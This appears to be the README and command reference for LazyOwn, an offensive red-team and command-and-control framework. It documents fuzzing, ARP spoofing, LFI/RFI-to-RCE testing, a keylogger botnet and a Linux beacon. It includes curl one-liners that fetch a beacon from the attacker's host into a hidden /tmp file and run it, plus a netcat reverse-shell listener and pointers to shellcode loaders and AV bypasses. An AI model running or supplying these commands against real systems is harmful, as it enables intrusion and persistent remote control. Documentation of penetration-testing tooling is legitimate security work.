如果您希望利用脚本的高级功能，例如请求重放或模糊测试，请按照以下步骤操作：

请求重放：

要使用请求重放功能，请如前所述提供参数。
在执行过程中，脚本会询问您是否要重复请求。输入 'y' 以重复，或输入 'n' 以终止重放器。
模糊测试：

要使用模糊测试功能，请确保通过 -w 或 --wordlist 参数提供词表。
脚本会将 URL 和其他数据中的单词 LAZYFUZZ 替换为所提供词表中的单词。
在执行过程中，脚本会显示每次模糊测试迭代的结果。
这些是使用 lazyburp.py 脚本的基本和高级方法。根据您的需求，您可以选择最适合您具体情况的方法。```sh
python3 lazyown_bprfuzzer.py \                                                                                                           ─╯
    --url "http://127.0.0.1:80/LAZYFUZZ" \
    --method POST \
    --headers '{"User-Agent": "LAZYFUZZ"}' \
    --params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
    --data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
    --json_data '{"key3": "LAZYFUZZ"}' \
    --proxy_port 8080 \
    -w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
    -hc 501

![image](https://assets.kitploit.com/production/public/readmes/56369/536bf1028ec5c58968040226c36296d17707cc7236e75a4245c2618835265d78/6ff4dbf1c94f750b69acf64298b86dd7982a7ccbc25d4fdaa69b980a254bd63a-display-v1.webp)
注意：要使用字典，请在 /usr/share/seclists 中运行以下命令：```sh
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip

![image](https://assets.kitploit.com/production/public/readmes/56369/2c92e5d852a586494d37d892de49b42e849d9602a75cb399dbfef5d2aaf95b44/4cb2b5a8fa35fca9f90ac2471b81765100aaa30b84f11795ee77e727cb3113c0-display-v1.webp)

## 使用 LazyReverseShell 模式

监听```sh
nc -nlvp 1337 #o el puerto que escojamos

![image](https://assets.kitploit.com/production/public/readmes/56369/207a550ff7c9ce047796bea119a6fd31e0f895b88a8ca98a0c2b231f6e697fd9/d03d9a1178703f93e04997e8d2b10b3a1591e14c707246e517693672653ecc56-display-v1.webp)

## 使用 Lazy Curl 进行侦察模式

该模块位于 modules 目录中，使用方法如下：```sh
chmod +x lazycurl.sh

用法。

GET：```sh
./lazycurl.sh --mode GET --url http://10.10.10.10

TRACE:```sh
./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh
文件上传：```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt

确保根据你的需求调整参数，并且你为各选项提供的值在每种情况下都是有效的。

## ARPSpoofing 模式的使用

该脚本使用 Scapy 提供 ARP 欺骗攻击。在 payload 中，你必须设置 lhost、rhost 以及你将用于执行 ARP 欺骗的设备。```sh
assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing

## Lazy Own LFI RFI 2 RCE 模式的使用

LFI RFI 2 RCE 模式旨在针对 payload.json 中指定的参数测试一些较为知名的 payload。这样可以全面评估目标系统中的本地文件包含（LFI）、远程文件包含（RFI）和远程代码执行（RCE）漏洞。

![image](https://assets.kitploit.com/production/public/readmes/56369/3bd4f818fd3a15a099e25d21604b8362e5ce76dee05d56f182a6e4817c81edd6/7ba305b87f294e6253a90746031a826f95bf3c65a850ec3aa4e8b4b90dd41208-display-v1.webp)```sh
payload
run lazylfi2rce

运行 lazysniff
或者直接
sniff```

### Experimental Obfuscation Using PyInstaller

This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.


```sh
./py2el.sh```

## Experimental NetBIOS Exploit

This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)


```sh
运行 lazynetbios```

## Experimental LazyBotNet with Keylogger for Windows and Linux

This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the `payload` command, which sets all the configuration in our `payload.json`, allowing us to preload the configuration before starting the framework.


```sh
payload
run lazybotnet```

## Interactive Menus

The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.

### Clean Interruption

The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.

## License

This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.

## Acknowledgments ✌

A special thanks to [GTFOBins](https://gtfobins.github.io/) for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the `extractPorts` function in my `.zshrc` :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive

### Thanks to pwntomate 🍅

An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: <https://github.com/honze-net/pwntomate>

### Thanks to Sicat 🐈

An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. <https://github.com/justakazh/sicat/>

### Thanks to josefcohernandez

For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in `lazyown-docker/Dockerfile`.

### Thanks to EQSTLab (via yym8538)

For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.

## BlackSandBeacon — Linux BOF

**BlackSandBeacon** brings Beacon Object File (BOF) extensibility to Linux for the
first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike)
offers Linux BOF support.

### What is Linux BOF?

On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at
runtime, giving operators an in-memory plugin system without spawning new processes.
BlackSandBeacon ports this model to Linux:

- BOFs compile as **position-independent ELF shared objects** (`.so`) with GCC
  (`-shared -fPIC -nostartfiles`).
- The beacon loads them at runtime via `dlopen` — no disk writes after delivery,
  no new process, no shell.
- The **`datap` API** (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
  `BeaconPrintf`, `BeaconOutput`) is source-compatible with the Windows BOF contract,
  so existing BOF authors can port by replacing Win32 calls with Linux syscalls or
  libc equivalents.
- Advanced BOFs can use **direct syscalls via inline assembly** or `io_uring` for
  kernel interaction without libc linking.

### Deployment via LazyOwn

```bash
# 1. 构建并暂存 beacon
(LazyOwn) > blacksandbeacon

# 2. 投递到目标（命令在目标上运行）
curl -sk "http://{lhost}:{lport}/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

# 3. 构建并暂存 BOF 加载器
(LazyOwn) > blacksandbeacon_bof

# 4. 将 BOF 加载器投递到活动会话
curl -sk "http://{lhost}:{lport}/bof_loader" -o /tmp/.bof && chmod +x /tmp/.bof && /tmp/.bof```

### Porting a Windows BOF to Linux

```c
// 将 Win32 API 调用替换为直接系统调用或 libc 等效项。
// datap API 保持不变。
#include "beacon.h"

void go(char *args, int len) {
    datap parser;
    BeaconDataParse(&parser, args, len);
    char *target = BeaconDataExtract(&parser, NULL);
    // Linux：使用 syscall(SYS_open, ...) 代替 CreateFile
    BeaconPrintf(CALLBACK_OUTPUT, "target: %s\n", target);
}```

Compile: `gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c`

### Adoption gap this closes

| Capability | Cobalt Strike | Sliver | Havoc | LazyOwn + BlackSandBeacon |
|---|---|---|---|---|
| Windows BOF | Yes | No | No | Yes (via `beacon` addon) |
| Linux BOF | **No** | **No** | **No** | **Yes** |
| ARM BOF | No | No | No | Planned (`blackzincbeacon`) |
| Open source | No | Yes | Yes | Yes |

## Related Projects

LazyOwn ships as the "all-in-one" front of a small ecosystem of focused
red-team tools. Each project below stands on its own and can be wired into
LazyOwn through `lazyaddons/*.yaml`, the C2 implant pipeline, or the MCP
`lazyown_palette --info` view (which exposes the graphify-derived `calls`
and `related` neighbours of every command).

### Lightweight beacons (C / ASM)

Drop-in replacements for the bundled Go beacon when you need a smaller
footprint or per-architecture artefacts:

- **[beacon](https://github.com/grisuno/beacon)** — minimalist Windows beacon in C with BOF support via Early Bird APC injection and NT Native API calls. Pairs with LazyOwn's malleable C2 profile. Wired in via `lazyaddons/beacon.yaml`.
- **[blacksandbeacon](https://github.com/grisuno/blacksandbeacon)** — Linux-native beacon in C with first-class **Linux BOF (Beacon Object File)** support via ELF shared-object injection and direct syscalls. BOFs are loaded at runtime through a `dlopen` runtime — the same extensibility model as Windows BOF but targeting Linux kernel internals. **No commercial C2 framework (including Cobalt Strike) offers Linux BOF support.** Wired in via `lazyaddons/blacksandbeacon.yaml`; BOF loader via `lazyaddons/blacksandbeacon_bof.yaml`.
- **[blackzincbeacon](https://github.com/grisuno/blackzincbeacon)** — ARM build of the same family, for embedded / IoT engagements.

### Lightweight C2 frameworks

Alternative C2 surfaces that speak the same beacon protocol as `lazyc2.py`
or that can serve as a teamserver back-end:

- **[BlackObsidianC2](https://github.com/grisuno/BlackObsidianC2)** — small, fast Go C2 server intended as a stripped-down companion to `lazyc2.py`.
- **[LazyOwnBT](https://github.com/grisuno/LazyOwnBT)** — Bluetooth / proximity-aware C2 PoC; useful when the engagement scope explicitly covers RF.

### AI / orchestration

Drop into LazyOwn through MCP, the `toposwarm` lazyaddon, or directly:

- **[toposwarm](https://github.com/grisuno/toposwarm)** — natural-language router on top of the LazyOwn command catalogue; ships as both a lazyaddon and a Claude Code skill.
- **[LazyOwnOpenCodeAdapter](https://github.com/grisuno/LazyOwnOpenCodeAdapter)** — bridge between LazyOwn and OpenCode-style coding agents.

### Loaders, shellcode runners and post-exploitation

Used both by humans through pwntomate `.tool` files and by the autonomous
daemon when the reactive selector recommends an in-memory technique:

- **[gomulti_loader](https://github.com/grisuno/gomulti_loader)** — multi-platform Go shellcode loader (Linux + Windows). Wired in via `lazyaddons/gomulti_loader_linux.yaml` and `gomulti_loader_windows.yaml`.
- **[win_shellcode](https://github.com/grisuno/win_shellcode)** — collection of Windows shellcode templates ready to be linked from a beacon stub.
- **[ejecutarShellcode](https://github.com/grisuno/ejecutarShellcode)** — minimal "execute-this-shellcode" loaders for quick PoCs.
- **[ShellcodeFluctuation_crosscompile](https://github.com/grisuno/ShellcodeFluctuation_crosscompile)** — cross-compilable port of the ShellcodeFluctuation memory-encryption trick.
- **[LazyLoader](https://github.com/grisuno/LazyLoader)** — generic loader scaffold designed to be extended per engagement.
- **[OverRide](https://github.com/grisuno/OverRide)** — DLL hijack / DLL search-order-override toolkit for Windows persistence.
- **[ShadowLink](https://github.com/grisuno/ShadowLink)** — link-time / symbol-rewrite tooling for Linux ELF stagers.
- **[netsh_helper_dll](https://github.com/grisuno/netsh_helper_dll)** — `netsh` helper-DLL persistence template for Windows.

### Defensive bypass / instrumentation

- **[amsi](https://github.com/grisuno/amsi)** — AMSI bypass research and PoCs; invoked from LazyOwn payloads when AV/EDR is the limiting factor.

### Exploits and CVE PoCs

LazyOwn already vendors several recent kernel-class PoCs through the addon
system (`lazyaddons/copyfail.yaml`, `lazyaddons/dirtyfrag.yaml`,
`lazyaddons/CVE-2022-22077.yaml`, `lazyaddons/CVE_2025_24071_PoC.yaml`,
`lazyaddons/ebird3.yaml`). The original repositories are listed here for
auditability and citation:

- **[CVE-2022-22077](https://github.com/grisuno/CVE-2022-22077)** — RTCore64.sys arbitrary R/W IOCTL — used by the LazyOwn BYOVD chain.
- **[copy-fail-CVE-2026-31431](https://github.com/grisuno/copy-fail-CVE-2026-31431)** — next-gen Dirty Pipe variant. Backed by the `copyfail` lazyaddon.
- **[ebird3](https://github.com/grisuno/ebird3)** — Early-Bird APC injection + NT Native API loader; produces stealthy in-memory Windows payloads.

> **Want to add yours?** Drop a `lazyaddons/<name>.yaml` describing
> `repo_url`, `install_command` and `execute_command`; LazyOwn will pick it
> up automatically and surface it through the MCP `lazyown_palette` view.

## Abstract

LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.

## Lazyducky_digispark

![LazyOwn](https://github.com/user-attachments/assets/b7e8c257-c0de-4033-bf4b-57ebc87dcb97)

      Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.

        This method checks if Arduino CLI and Micronucleus are installed on the system.
        If they are not available, it installs them. It then compiles a Digispark sketch
        and uploads the generated .hex file to the Digispark device.

        The method performs the following actions:
        1. Checks for the presence of Arduino CLI and installs it if not available.
        2. Configures Arduino CLI for Digispark if not already configured.
        3. Generates a reverse shell payload and prepares the sketch for Digispark.
        4. Compiles the prepared Digispark sketch using Arduino CLI.
        5. Checks for the presence of Micronucleus and installs it if not available.
        6. Uploads the compiled .hex file to the Digispark device using Micronucleus.

        Args:
            line (str): Command line input provided by the user, which may contain additional parameters.

        Returns:
            None: The function does not return any value but may modify the state of the system
                by executing commands.


## Star History

<a href="https://www.star-history.com/#grisuno/LazyOwn&Date">
 <picture>
   <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date&theme=dark" />
   <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
   <img alt="Star History Chart" src="https://api.star-history.com/svg?repos=grisuno/LazyOwn&amp;type=Date" />
 </picture>
</a>

# Documentation by readmeneitor.py

Documentation automatically created by the script `readmeneitor.py` created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.

## ReadMenator now have a repository

[https://github.com/grisuno/ReadMenator](https://github.com/grisuno/ReadMenator)

# Legal disclaimer:
Usage of LazyOwn RedTeam Framework for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.


---

<!-- START UTILS -->
# LazyOwn Command Reference

Auto-generated by readmeneitor.py from source docstrings and cli/command_index.json.

## Table of Contents

- [01. Reconnaissance](#01-reconnaissance) (38 commands)
- [02. Scanning & Enumeration](#02-scanning-&-enumeration) (74 commands)
- [03. Exploitation](#03-exploitation) (66 commands)
- [04. Post-Exploitation](#04-post-exploitation) (45 commands)
- [05. Persistence](#05-persistence) (33 commands)
- [06. Privilege Escalation](#06-privilege-escalation) (16 commands)
- [07. Credential Access](#07-credential-access) (31 commands)
- [08. Lateral Movement](#08-lateral-movement) (30 commands)
- [09. Data Exfiltration](#09-data-exfiltration) (35 commands)
- [10. Command & Control](#10-command-&-control) (28 commands)
- [11. Reporting](#11-reporting) (26 commands)
- [12. Miscellaneous](#12-miscellaneous) (169 commands)
- [13. Diagnostics](#13-diagnostics) (2 commands)
- [Uncategorized](#uncategorized) (135 commands)

---

## 01. Reconnaissance

### `alterx`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the 'alterx' command for subdomain enumeration on the provided self.params['domain']. If 'alterx'

### `apache_users`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Performs enumeration of users from a target system using `apache-users`.

### `binarycheck`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Performs various checks on a selected binary to gather information and protections.

### `cve`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Search for a CVE using the CIRCL API.

### `dig`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Executes the `dig` command to query DNS information.

### `dnschef`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the DNSChef tool to monitor DNS queries and intercept responses.

### `dnsenum`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Performs DNS enumeration using `dnsenum` to identify subdomains for a given domain.

### `dnsmap`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Performs DNS enumeration using `dnsmap` to discover subdomains for a specified domain.

### `dnstool_py`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the dnstool.py tool to modify Active Directory-integrated DNS records.

### `estorides_import`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Import Estorides-discovered entities into LazyOwn database and scope.

### `estorides_loop`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Run the bidirectional Estorides <-> LazyOwn feedback loop.

### `estorides_seed`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Feed LazyOwn hosts/domains into Estorides for passive OSINT discovery.

### `estorides_surface`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Show the combined active + passive attack surface.

### `finalrecon`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Runs the `finalrecon` tool to perform a web server vulnerability scan against the specified target host.

### `getcap`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Retrieve and display file capabilities on the system.

### `gospider`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Try gospider for web spidering.

### `graudit`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the graudit command to perform a static code analysis with the specified options.

### `httprobe`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the httprobe tool to probe domains for working HTTP and HTTPS servers.

### `ipinfo`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Retrieves detailed information about an IP address using the ARIN API.

### `launchpad`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Searches for packages on Launchpad based on the provided search term and extracts codenames from the results. The distribution is extracted from the search term.

### `metabigor`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes Metabigor commands for OSINT and scanning tasks with guided input or predefined arguments.

### `openssl_sclient`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Uses `openssl s_client` to connect to a specified host and port, allowing for testing and debugging of SSL/TLS connections.

### `ping`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Perform a ping to check host availability and infer the operating system based on TTL values.

### `ports`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Lists all open TCP and UDP ports on the local system.

### `proxy`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Runs a small proxy server to modify HTTP requests on the fly.

### `recon`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Performs reconnaissance on a specified self.params['domain'] using crt.sh (the target must be visible on internet), pup, httprobe, and EyeWitness.

### `serveralive2`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Command serveralive2: Uses Impacket to connect to a remote MSRPC interface and retrieves the server bindings.

### `sherlock`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the Sherlock tool to find usernames across social networks.

### `sslscan`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Run an SSL scan on the specified remote host.

### `surface`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Render the network surface graph in the terminal.

### `tcpdump_capture`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Starts packet capture using `tcpdump` on the specified interface.

### `tcpdump_icmp`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Starts `tcpdump` to capture ICMP traffic on the specified interface.

### `trace`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Traces the DNS information for a given self.params['domain'] using the FreeDNS service. (using freedns IP Not your IP)

### `trufflehog`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes trufflehog to search for secrets in a given Git repository URL.

### `tshark_analyze`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Analyzes a packet capture file using `tshark` based on the provided remote host IP.

### `waybackmachine`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Fetch URLs from the Wayback Machine for a given website.

### `whatweb`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Performs a web technology fingerprinting scan using `whatweb`.

### `windapsearchscrapeusers`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Extracts usernames from a JSON output generated by go-windapsearch and appends them


## 02. Scanning & Enumeration

### `ad_ldap_enum`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes ad-ldap-enum to enumerate Active Directory objects (users, groups, computers)

### `allin`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Execute the AlliN.py tool with various scan modes and parameters.

### `amass`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Executes Amass to perform a passive enumeration on a given domain.

### `arjun`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes an Arjun scan on the specified URL for parameter discovery.

### `arpscan`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Executes an ARP scan using `arp-scan`.

### `batchnmap`

**Phase:** enum | **Source:** `cli/commands/recon.py`

Runs the internal module `modules/lazynmap.sh` for multiple Nmap scans.

### `bbot`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Executes a BBOT scan to perform various reconnaissance tasks.

### `blazy`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Command blazy: Installs and runs blazy for multi-vulnerability web application scanning.

### `bloodhound`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Perform LDAP enumeration using bloodhound-python with credentials from a file.

### `breacher`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Command breacher: Installs and runs Breacher for finding admin login pages and EAR vulnerabilities.

### `certipy`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes the Certipy tool to interact with Active Directory Certificate Services.

### `certipy_ad`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Run certipy-ad against Active Directory Certificate Services.

### `changeme`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes a changeme scan on a specified target URL or host.

### `cme`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Execute CrackMapExec (CME) for SMB enumeration and authentication attempts against a target.

### `davtest`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Tests WebDAV server configurations using `davtest`.

### `dirsearch`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Runs the `dirsearch` tool to perform directory and file enumeration on a specified URL.

### `dmitry`

**Phase:** enum | **Source:** `cli/commands/scan.py`

This function constructs and executes a command for the 'dmitry' tool.

### `enum4linux`

**Phase:** enum | **Source:** `cli/commands/enum.py`

Performs enumeration of information from a target Linux/Unix system using `enum4linux`.

### `enum4linux_ng`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Performs enumeration of information from a target system using `enum4linux-ng`.

### `evil_ssdp`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Runs evil-ssdp with various options and user-selected templates.

### `feroxbuster`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Command feroxbuster: Installs and runs Feroxbuster for performing forced browsing and directory brute-forcing.

### `finger_user_enum`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes the `finger-user-enum` tool for enumerating users on the target host.

### `fuzz`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes a web server fuzzing script with user-provided parameters.

### `getnpusers`

**Phase:** enum | **Source:** `cli/commands/enum.py`

sudo impacket-GetNPUsers mist.htb/ -no-pass -usersfile sessions/users.txt

### `gobuster`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Uses `gobuster` for directory and virtual host fuzzing based on provided parameters. Supports directory enumeration and virtual host discovery.

### `hostdiscover`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Discover active hosts in a subnet by performing a ping sweep.

### `hound`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes the hound tool for Hound is a simple and light tool for information gathering and capture exact GPS coordinates

### `kerbrute`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes the Kerbrute tool to enumerate user accounts against a specified target self.params['domain'] controller.

### `lazynmap`

**Phase:** enum | **Source:** `cli/commands/recon.py`

Runs the internal module `modules/lazynmap.sh` with target mode.

### `ldapdomaindump`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Dumps LDAP information using `ldapdomaindump` with credentials from a file.

### `ldapsearch`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes an LDAP search against a target remote host (self.params['rhost']) and saves the results.

### `lookupsid`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes the Impacket lookupsid tool to enumerate SIDs on a target system.

### `lookupsid_py`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes the LookupSID tool to perform SID enumeration on a target system.

### `loxs`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Command loxs: Installs and runs Loxs for multi-vulnerability web application scanning.

### `lynis`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Performs a Lynis audit on the specified remote system.

### `magicrecon`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Command magicrecon: Automates the setup and usage of MagicRecon to perform various types of reconnaissance and vulnerability scanning on specified targets.

### `mqtt_check_py`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes the MQTT check tool to verify credentials on a target system with optional SSL.

### `nbtscan`

**Phase:** enum | **Source:** `cli/commands/recon.py`

Performs network scanning using `nbtscan` to discover NetBIOS names and addresses in a specified range.

### `net_rpc_addmem`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes the net rpc group addmem command to add a user to a specified group in Active Directory.

### `netexec`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes netexec with various options for network protocol operations.

### `netview`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes the Impacket netview tool to list network shares on a specified target.

### `nikto`

**Phase:** enum | **Source:** `cli/commands/recon.py`

Runs the `nikto` tool to perform a web server vulnerability scan against the specified target host.

### `nmapscript`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Perform an Nmap scan using a specified script and port.

### `nuclei`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Executes a Nuclei scan on a specified target URL or host.

### `odat`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Command odat: Runs the ODAT sidguesser module to guess Oracle SIDs on a target Oracle database.

### `openredirex`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Command openredirex: Clones, installs, and runs OpenRedirex for testing open redirection vulnerabilities.

### `osmedeus`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Executes Osmedeus scans with guided input for various scanning scenarios.

### `parsero`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes a parsero scan on a specified target URL or host.

### `parth`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Command parth: Installs and runs Parth for discovering vulnerable URLs and parameters.

### `portdiscover`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Scan all ports on a specified host to identify open ports.

### `portservicediscover`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Scan all ports on a specified host to identify open ports and associated services.

### `pre2k`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes the pre2k tool to query the self.params['domain'] for pre-Windows 2000 machine accounts or to pass a list of hostnames to test authentication.

### `pykerbrute`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Command pykerbrute: Automates the installation and execution of PyKerbrute for bruteforcing Active Directory accounts using Kerberos pre-authentication.

### `rdp_check_py`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

---

[Read more](https://github.com/grisuno/lazyown)